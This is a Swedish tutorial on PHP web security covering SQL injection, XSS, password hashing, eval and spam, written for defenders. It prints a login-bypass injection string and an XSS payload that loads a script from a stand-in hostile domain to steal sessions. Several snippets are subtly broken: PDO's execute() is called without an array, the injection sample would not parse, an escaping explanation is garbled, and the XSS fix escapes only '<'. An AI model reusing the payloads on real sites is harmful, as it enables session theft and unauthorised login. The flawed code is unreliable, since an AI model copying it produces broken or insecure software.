SQL-injektioner

Bygger på att angriparen hittar sätt att köra egen SQL-kod, exempelvis genom att skriva specialtecken i ett formulär. Om programmeraren har skrivit följande:

```
mysql_connect('localhost', $dbuser, $dbpass);

$result = mysql_query('SELECT name
                       FROM User
                       WHERE username = "'. $_REQUEST['username'] .'" AND
                             password = "'. $_REQUEST['password'] .'");

$user = mysql_fetch_array($result);
```

...så kan angriparen i fältet för username skriva "admin" och i password skriva:

```
" OR 1 = 1;
```

...för att bli inloggad som "admin".

För att skydda sig ska man i PHP använda systemet PDO istället för de gamla "mysql_"-funktionerna, och alltid använda "?"-notationen. Det kan se ut så här:

```
$db = new PDO('mysql:host=localhost;dbname=gastboken', $dbuser, $dbpasswd);

$query = $db->prepare('SELECT name FROM User
                       WHERE username = ? AND password = ?');
$query->execute($user, $password);
$result = $query->fetch();
```

XSS

När man tar emot information från användare för att sedan presentera den på en webbsida så måste man se till att de inte kan skicka in javascript-kod, som ju då körs i webbläsaren hos alla som besöker sidan. Specifikt så är det vanligt med så kallade XSS-attacker, där angriparen använder den tekniken för att köra javascript mot en egen domän och stjäla information av andra användare.

Om angriparen skriver i ett formulär:

```
Vilken fin sida! <script src="http://elak.domän.se/tjo.js"></script>
```

...så kan den stjäla inloggningssessioner eller göra saker som den inloggade användaren.

För att skydda sig i PHP kan man exempelvis göra:

```
$text = preg_replace('/</', '&lt;', $_REQUEST['text']);
```

Eftersom alla "<" ersätts med "<" så körs inga skript, men de som surfar på webbsidan ser fortfarande "<" så man pajar inte emoticons som <:-)

Inloggning

Det är vanligt att utvecklare sparar lösenord i en databas i klartext, exempelvis så här:

```
$query = $db->prepare('INSERT INTO User (username, password) VALUES (?, ?)');
$query->execute('nisse', 'hemligt');
```

Om en angripare, eller en sur utvecklare, snor databasen så har den då allas lösenord. Eftersom de flesta återanvänder sina lösenord på många ställen så kan många konton bli hackade på en gång.

I senaste versionerna av PHP så finns ett enkelt och bra sätt att slippa spara själva lösenordet, som ser ut så här:

```
$hash = password_hash('hemligt', PASSWORD_BCRYPT);

$query = $db->prepare('INSERT INTO User (username, hash) VALUES (?, ?)');
$query->execute('nisse', $hash);

...

if (password_verify($_REQUEST['password'], $hash))
  print('Inloggad!');
```

Om man kör en version där "password_hash"-funktionen inte finns än så kan man ladda hem en implementation här:

https://github.com/ircmaxell/password_compat

Om man använder något annat sätt än "password_hash" för att dölja lösenord så blir det nästan alltid fel. Lämna lösenordshantering till proffsen.

PHP-injektioner

Det finns en PHP-funktion som heter "eval", och som kör kod som man ger den. Om man använder den måste man vara mycket noga med var koden kommer ifrån.

Spam

Nuförtiden är det många som kör program som automatiskt hittar formulär på webben och lägger ut spam-inlägg, det vill säga skumma inlägg och länkar till reklam och virus.

För att skydda sig mot de automatiska programmen kan man använda utmaningar som bara en människa förstår. Exempelvis förvrängd text i en bild, så kallade "captchas". Om utmaningarna är svåra för en människa finns dock risken att man gör sig ovän med sina användare.

Det enda riktigt säkra sättet att skydda sig mot spam är att moderera allt innehåll innan det hamnar på nätet. Om man inte har så mycket kommentarer eller nya användare så är det antagligen bäst att moderera allt.